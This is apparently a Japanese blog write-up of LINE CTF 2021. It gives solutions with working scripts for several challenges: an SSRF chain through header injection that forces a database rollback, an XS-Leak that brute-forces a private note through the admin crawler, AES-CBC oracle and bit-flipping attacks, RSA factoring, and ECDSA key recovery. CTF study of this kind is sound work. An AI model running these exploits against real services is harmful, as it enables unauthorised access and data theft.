LINE CTF write-up

https://linectf.me/

LINE株式会社主催のCTF。

既存のLINEのサイトからのリンクが見つからず、「本当にLINE主催なのか？」とちょっと心配だったけど、中の人がツイートしているので本当っぽい。宣伝が足りないかというとそんなことはなく、CTFtimeに載せていたので充分なのでしょう。日本語が併記されているわけでもなく、簡単な問題も少なく、初心者を呼び込んでもしょうがない感がある。

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">LINE主催のCTFです。<br><br>CTF hosted by LINE, for the 1st time.<a href="https://t.co/UkyPnySTpQ">https://t.co/UkyPnySTpQ</a></p>&mdash; naohisa ichihara (@nao_ichihara) <a href="https://twitter.com/nao_ichihara/status/1369117468854132737?ref_src=twsrc%5Etfw">March 9, 2021</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

注意書きに、「代表者が反社かどうかscreeningをperformするぞ」と書かれていてしっかりしている。

スコアサーバーのデザインがLINE風ですごい……が、解いたチーム一覧を見る必要はそんなに無いし、問題文が見づらいし、問題の一覧をまとめて見られないし、不便だぞ……。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/a6396524-3317-cb73-c8c3-69b0eef54687.png)

superflipは350点で29位。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/b150654e-5043-6d73-b610-7d71a9ea3c51.png)

50点になった問題しか解けていない。しかし、本当に簡単な問題しか解けていないかというとそんなことはなく、解いたチーム数に対して点数の減少が急すぎるんだよな。「Your Note」は正解22チームで50点。50点の問題と300点以上の問題しか無くなっている。

## REV

2問あってどちらも解けていない。

### Sakura

ブロックチェーンのスマートコントラクト。スマートコントラクト問、いつかは通したい。

## PWN

問題がいっぱいあったけど解けていない。Linuxカーネルとか、wasmとか、ChromiumのJavaScriptエンジンとか。いつかは解きたい。

## WEB

### Welcome

`LINECTF{welcome_to_linectf}`

### diveinternal

> Target the server's internal entries, access admin, and roll back.

コンテナがいっぱいあってややこしい。それぞれがやっていることもややこしい。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/25b2f276-48f3-e47b-1d5f-c96548410814.png)

問題文に書かれているように、privateの中のPythonアプリでDBのロールバックを実行させれば勝ち。ロールバックをさせるためには、DBをバックアップした上で、privateの`/rollback`を今のDBとは異なるハッシュ値を`dbhash`パラメタにして叩けば良い。もちろんprivateのAPIは直接は叩けない。

nginxのコンテナの中のnginxにLuaスクリプトが書かれていて、最初はその辺に何かあるのかと思った。でも、これは本当にログを取りたかっただけっぽい。

脆弱性は、privateのPythonアプリのここ。

```main.py
 :
def LanguageNomarize(request):
    if request.headers.get('Lang') is None:
        return "en"
    else:
        regex = '^[!@#$\\/.].*/.*' # Easy~~
        language = request.headers.get('Lang')
        language = re.sub(r'%00|%0d|%0a|[!@#$^]|\.\./', '', language)
        if re.search(regex,language):
            return request.headers.get('Lang')
        
        try:
            data = requests.get(request.host_url+language, headers=request.headers)
            if data.status_code == 200:
                return data.text
            else:
                return request.headers.get('Lang')
        except:
            return request.headers.get('Lang')
 :
@app.route('/coin', methods=['GET'])
def coin():
    try:
        response = app.response_class()
        language = LanguageNomarize(request)
        response.headers["Lang"] =  language
        data = getCoinInfo()
        response.data = json.dumps(data)
        return response
    except Exception as e :
        err = 'Error On  {f} : {c}, Message, {m}, Error on line {l}'.format(f = sys._getframe().f_code.co_name ,c = type(e).__name__, m = str(e), l = sys.exc_info()[-1].tb_lineno)
        logger.error(err)
 :
```

なお、nginxコンテナのnginxの設定は、

```nginx.conf
 :
    location / {
        proxy_pass http://public:3000; 
        
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';

        proxy_set_header Host $http_host;
        proxy_cache_bypass $http_upgrade;       

    }
 :
```

で、publicのnodeアプリでは以下のようになっているので、`Host`HTTPヘッダは伝わる。

```apis.js
 :
router.get('/coin', function(req, res, next) {
  request({
        headers: req.headers,
        uri: `http://${target}/coin`,
      }).pipe(res);
  });

  router.get('/addsub', function(req, res, next) {
    request({
          
          uri: `http://${target}/addsub`,
          qs: {
            email: req.query.email,
          }
        }).pipe(res);
    });
 :
```

`/addsub`には`headers`が無いのも怪しい。

```sign.py
import hmac, hashlib

print("src", hmac.new(b"let'sbitcorinparty", b"src=http://private:5000/jp?/fyapxq1118p2nchc", hashlib.sha512).hexdigest())
print("dbhash", hmac.new(b"let'sbitcorinparty", b"dbhash=fyapxq1118p2nchc", hashlib.sha512).hexdigest())
```

で、`Sign`の値を求めて、

```attack.sh
curl -v -sS \
  -H 'Host: localhost:5000' \
  -H 'Lang: download?src=http://private:5000/jp?/fyapxq1118p2nchc' \
  -H 'Sign: 0fcff708f4fe37b4652ed2dd2bf9c3784eb2e168555c4d9a6fa18e9d1a4f51199ac9db7d029d9cec804a6c3960ca486de3e318cda16bbd8e3920da6464a57114' \
  http://35.190.234.195/apis/coin

dbhash=$(
  curl -v -sS \
    -H 'Host: localhost:5000' \
    -H 'Lang: integrityStatus' \
    http://35.190.234.195/apis/coin 2>&1 |
  grep -oP '[0-9a-z]{32}')
key=$(echo -n $dbhash | sha512sum | cut -d\  -f1)

curl -v -sS \
  -H 'Host: localhost:5000' \
  -H 'Lang: rollback?dbhash=fyapxq1118p2nchc' \
  -H 'Sign: 0606988cd44ae01786b3ffb3b78a47313ea2ee2191f74a6f76477a03b167ab150627d032d14de1677ede5304c9bae861fca47ab86e4fa3c2961c46c702c316c9' \
  -H "Key: ${key}" \
  http://35.190.234.195/apis/coin
```

で解けた。

```shell-session
$ bash attack.sh
 :
> GET /apis/coin HTTP/1.1
> Host: localhost:5000
> User-Agent: curl/7.58.0
> Accept: */*
> Lang: download?src=http://private:5000/jp?/fyapxq1118p2nchc
> Sign: 0fcff708f4fe37b4652ed2dd2bf9c3784eb2e168555c4d9a6fa18e9d1a4f51199ac9db7d029d9cec804a6c3960ca486de3e318cda16bbd8e3920da6464a57114
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.2
< Date: Sat, 20 Mar 2021 16:55:27 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 182
< Connection: keep-alive
< X-Powered-By: Express
< lang: {"message": "success"}
 :
> GET /apis/coin HTTP/1.1
> Host: localhost:5000
> User-Agent: curl/7.58.0
> Accept: */*
> Lang: rollback?dbhash=fyapxq1118p2nchc
> Sign: 0606988cd44ae01786b3ffb3b78a47313ea2ee2191f74a6f76477a03b167ab150627d032d14de1677ede5304c9bae861fca47ab86e4fa3c2961c46c702c316c9
> Key: 1c7df85d2661b2182f03517a368493c02b31dc1da0ff49762854f62c4ef1a9d379b6efdc458852f89a0bf889e26cca4e9582415f532f39b6ba327d01f7ae6570
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.2
< Date: Sat, 20 Mar 2021 16:55:27 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 182
< Connection: keep-alive
< X-Powered-By: Express
< lang: LINECTF{YOUNGCHAYOUNGCHABITCOINADAMYMONEYISBURNING}
 :
```

`LINECTF{YOUNGCHAYOUNGCHABITCOINADAMYMONEYISBURNING}`

### Your Note

プライベートなノートを投稿できるアプリ。管理者にURLを通報できる。

XSSを探したけど見当たらないし、考えてみれば、そもそも管理者といえども私が投稿したノートは見られないのだった。

ノートの検索結果にダウンロードリンクがあって、検索結果が0件だとウェブページが表示されるけど、検索結果が1件以上だとJSONがダウンロードされる。ファイルがダウンロードされる場合は管理者のクローラーが失敗する。これでフラグを1文字ずつ探索できる。

URL通報にはproof of workが要求されるものの、これは自動化すれば良い。proof of workが23ビット分要求されるので10秒くらい掛かるし、問題サーバーが不安定だしで辛かった。終盤にこのproof of workが10ビット分に変更された。起きていて良かった。

```attack.py
import requests
import re
import pwn

#host = "http://34.84.94.138/"
#session = "189cd4cb-c59e-4d18-a574-9a01403cece5"

host = "http://35.200.11.35"
session = "5b7207a0-6b86-4fe7-a12a-50fa3c221f71"

#host = "http://34.84.72.167/"
#session = "ea7064c4-5cec-44d5-836a-89b621aa442a"

def check(flag):
  r = requests.get(host+"/report", cookies={"session": session})
  r = r.text
  csrf = re.search(r'name="csrf_token" value="(.*?)"/>', r).group(1)
  pow = re.search(r"<br>proof-of-work (.*?) 10", r).group(1)
  s = pwn.process("proof-of-work %s 10"%pow, shell=True)
  ans = s.read().decode()
  s.close()
  print(ans)

  r = requests.post(host+"/report", cookies={"session": session},
    data={"csrf_token": csrf, "url": host+"/search?download=&q="+flag, "proof": ans})
  r = r.text
  if "Report Bug" not in r:
    print(r)
    raise "error"
  return "Thank you for the report!" not in r

flag = "LINECTF{1-kn0w-what-y0u-d0"
while True:
  for a in "-0123456789abcdefghijklmnopqrstuvwxyz}":
    print(flag+a)
    if check(flag+a):
      flag += a
      break
  else:
    break
```

この検索がヒットしたかどうかの挙動の変化で非公開ツイートの内容が読めるという脆弱性がTwitterにあったらしい。実用になるかどうかはともかく。

https://hackerone.com/reports/491473

`LINECTF{1-kn0w-what-y0u-d0wn10ad}`

## CRY

### babycrypto1

```babycrypto1.py
 :
flag = open("flag", "rb").read().strip()

COMMAND = [b'test',b'show']

def run_server(client, aes_key, token):
    client.send(b'test Command: ' + AESCipher(aes_key).encrypt(token+COMMAND[0]) + b'\n')
    client.send(b'**Cipher oracle**\n')
    client.send(b'IV...: ')
    iv = b64decode(client.recv(1024).decode().strip())
    client.send(b'Message...: ')
    msg = b64decode(client.recv(1024).decode().strip())
    client.send(b'Ciphertext:' + AESCipher(aes_key).encrypt_iv(msg,iv) + b'\n\n')
    while(True):
        client.send(b'Enter your command: ')
        tt = client.recv(1024).strip()
        tt2 = AESCipher(aes_key).decrypt(tt)
        client.send(tt2 + b'\n')
        if tt2 == token+COMMAND[1]:
            client.send(b'The flag is: ' + flag)
            client.close()
            break
 :
if __name__ == '__main__':
 :
        aes_key = get_random_bytes(AES.block_size)
        token = b64encode(get_random_bytes(AES.block_size*10))[:AES.block_size*10]

        process = multiprocessing.Process(target=run_server, args=(client, aes_key, token))
 :
```

`token+b'show'`を暗号化したものを送れば良い。IVと平文を指定して暗号化してくれて、`token`と`b'show'`の切れ目がAESブロックの境界なので、1個前の暗号文をIVとして暗号化してもらえば良い。CBCの仕組みを知っていますか？という問題。

```attack.py
from pwn import *

from base64 import b64decode, b64encode

s = remote("35.200.115.41", 16001)

s.recvuntil("test Command: ")
test = b64decode(s.recvline()[:-1])

s.sendlineafter("IV...: ", b64encode(test[-32:-16]))
s.sendlineafter("Message...: ", b64encode(b"show"))
s.recvuntil("Ciphertext:")
cipher = b64decode(s.recvline()[:-1])

s.sendlineafter("Enter your command: ", b64encode(test[:-16]+cipher[-16:]))
print(s.recvuntil("}").decode())
```

```shell-session
$ python3 attack.py
[+] Opening connection to 35.200.115.41 on port 16001: Done
tNHbcTIVXeqIxFpPa3KsARCaSL51x1xxxvYodbzhETk5oRVrJQ0TZapBM2UV4tlCg4CPkQZlnZJZbDqglOhTksfIoF7PbVGG4/1P5gkEsGzmDiCGVSKy4x9l9PXUQTQ5GxXPSFrNeBdISvGsckATiXvTTQ4Ajpuwshow
The flag is: LINECTF{warming_up_crypto_YEAH}
```

`LINECTF{warming_up_crypto_YEAH}`

### babycrypto2

```babycrypto2.py
 :
flag = open("flag", "rb").read().strip()

AES_KEY = get_random_bytes(AES.block_size)
TOKEN = b64encode(get_random_bytes(AES.block_size*10-1))
COMMAND = [b'test',b'show']
PREFIX = b'Command: '

def run_server(client):
    client.send(b'test Command: ' + AESCipher(AES_KEY).encrypt(PREFIX+COMMAND[0]+TOKEN) + b'\n')
    while(True):
        client.send(b'Enter your command: ')
        tt = client.recv(1024).strip()
        tt2 = AESCipher(AES_KEY).decrypt(tt)
        client.send(tt2 + b'\n')
        if tt2 == PREFIX+COMMAND[1]+TOKEN:
            client.send(b'The flag is: ' + flag)
            client.close()
            break
 :
```

似たような問題。暗号化機能が無くなり、tokenが後ろに付くようになった。CBCならば、IVを1ビット反転させると、平文の先頭ブロックの対応する1ビットが反転する。後続には影響無し。暗号は内容を秘匿するためのものであって、改竄を防ぐためのものではない。

```attack.py
from pwn import *

from base64 import b64decode, b64encode

s = remote("35.200.39.68", 16002)

s.recvuntil("test Command: ")
test = b64decode(s.recvline()[:-1])

def xor(A, B):
  return bytes([a^b for a, b in zip(A, B)])

show = test
show = xor(show[:16], xor(b"Command: test___", b"Command: show___"))+show[16:]
s.sendlineafter("Enter your command: ", b64encode(show))
print(s.recvuntil("}").decode())
```

```shell-session
$ python3 attack.py
[+] Opening connection to 35.200.39.68 on port 16002: Done
Command: showZzTosTPcUnBu44roqYGeyIjyJ22OoYp66c67bitZZthoRjCwTC9sW5jOFkVqW7WlMwJqI5Y+eJtxCkY4lkVkX3vzdDSkPtwB1FOrfHWPeGq4jOeprbrqhtcQzRdUsukyF1YdRzzZ8ezm2g82ydjFYcDrkfzk3ZQOzx0CpVulL80HGbwsB6amUMsmmVsC4jULWpg66++vj30B6p/aKGbh
The flag is: LINECTF{echidna_kawaii_and_crypto_is_difficult}
```

`LINECTF{echidna_kawaii_and_crypto_is_difficult}`

### babycrypto3

ciphertext.txtとpub.pemが与えられる。

```shell-session
$ openssl rsa -pubin -text < pub.pem
RSA Public-Key: (394 bit)
Modulus:
    03:28:b1:41:39:a2:e5:4b:88:a4:66:2f:1a:67:cc:
    3a:cd:19:29:c9:b6:27:94:bb:64:91:6a:ff:02:99:
    1f:80:45:6e:4d:0e:ed:4d:59:1d:f7:70:8d:5a:f2:
    e9:b4:fb:56:89
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
ME0wDQYJKoZIhvcNAQEBBQADPAAwOQIyAyixQTmi5UuIpGYvGmfMOs0ZKcm2J5S7
ZJFq/wKZH4BFbk0O7U1ZHfdwjVry6bT7VokCAwEAAQ==
-----END PUBLIC KEY-----
```

394bit RSA。素因数分解できるか……？　他の問題を解きながら[Msieve](https://sourceforge.net/projects/msieve/)を動かしていたけれど、全然答えが出てこない。

[RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)に投げたら一瞬で答えが出てきた。

```shell-session
RsaCtfTool$ python3 RsaCtfTool.py --publickey ../pub.pem --uncipherfile ../ciphertext.txt
private argument is not set, the private key will not be displayed, even if recovered.

[*] Testing key ../pub.pem.
[*] Performing factordb attack on ../pub.pem.

Results for ../pub.pem:

Unciphered data :
HEX : 0x00026067ff851ecdcb61e50b83a515e3005130785055306c4f527942555345556752456c545645464f5130557543673d3d0a
INT (big endian) : 93642291186863225015737472848315771398135057931473251341587231211471564868517709899464755625073676430723959035346186
INT (little endian) : 103282109084838500432492642512020353948670062101186628291674723746246989709418757052122829802325798084932713167175287296
STR : b'\x00\x02`g\xff\x85\x1e\xcd\xcba\xe5\x0b\x83\xa5\x15\xe3\x00Q0xPU0lORyBUSEUgRElTVEFOQ0UuCg==\n'
$ echo "Q0xPU0lORyBUSEUgRElTVEFOQ0UuCg==" | base64 -d
CLOSING THE DISTANCE.
```

RsaCtfToolすごいなぁという単純な話ではなく、コンテスト終了後のDiscordによると、RsaCtfToolは http://factordb.com/ から検索する機能もあって、コンテスト中にここに素因数分解結果が登録されたかららしい。

```
31864103015143373750025799158312253992115354944560440908105912458749205531455987590931871433911971516176954193675507337
= 291664785919250248097148750343149685985101
* 109249057662947381148470526527596255527988598887891132224092529799478353198637
```

で、桁数に偏りがある（普通にRSAの合成数を計算したらこうはならない）から、力技で殴ればギリギリ何とかなるのか？

`LINECTF{CLOSING THE DISTANCE.}`

### babycrypto4

> Our side-channel attack about ECDSA was quite successful.
>
> We could capture the first 16-bit of the nonces,
> which is the first half of them.
>
> Now find out the encryption key.
>
> The victim is using the secp160r1 curve.
>
> The following is the captured data: r, s, k, and hash respectively.

nonce（$k$）は普通はn未満の整数からランダムに選ぶ。これが32bitしかない。しかも16bitが分かっているので残りは全探索できる。$k$が分かれば、ECDSAにおいて、$s=k^{-1}(z+rd_A) \mod n$なので、$d_A=(sk-z)r^{-1} \mod n$である。$z$は問題文のhash。なぜ、これらの値の組が20個も与えられているのだろう。1個で充分。てっきり最後に中国剰余定理を使うのかと思った。

```solve.py
p = 0xffffffffffffffffffffffffffffffff7fffffff
a = 0xffffffffffffffffffffffffffffffff7ffffffc
b = 0x1c97befc54bd7a8b65acf89f81d4d4adc565fa45
G = (0x4a96b5688ef573284664698968c38bb913cbfc82, 0x23a628553168947d59dcc912042351377ac5fb32)
n = 0x0100000000000000000001f4c8f927aed3ca752257

r = 0x92acb929727872bc1c7a5f69c1c3c97ae1c333e2
s = 0xe060459440ebc11a7cd811a66a341f095f5909e5
k0 = 0xef2b0000
hash = 0x68e548ef4984f6e7d05cbcea4fc7c83393806bbf

def add(A, B):
  if A==(0, 0):
    return B
  if B==(0, 0):
    return A
  x1, y1 = A
  x2, y2 = B
  if A!=B:
    phi = (y2-y1)*pow(x2-x1, p-2, p)
  else:
    phi = (3*x1*x1+a)*pow(2*y1, p-2, p)
  x3 = phi**2-x1-x2
  y3 = phi*(x1-x3)-y1
  return (x3%p, y3%p)

def mul(k, X):
  X2 = X
  A = (0, 0)
  while k>0:
    if k%2!=0:
      A = add(A, X2)
    k //= 2
    X2 = add(X2, X2)
  return A

X = mul(k0, G)
for k in range(k0, k0+0x10000):
  if X[0]==r:
    dA = (s*k-hash)*pow(r, n-2, n)%n
    print(hex(dA))
    break
  X = add(X, G)
```

```shell-session
$ python3 solve.py
0xc02d451ad3c1ac6b612a759a92b770dd3bca36e
```

`LINECTF{c02d451ad3c1ac6b612a759a92b770dd3bca36e}`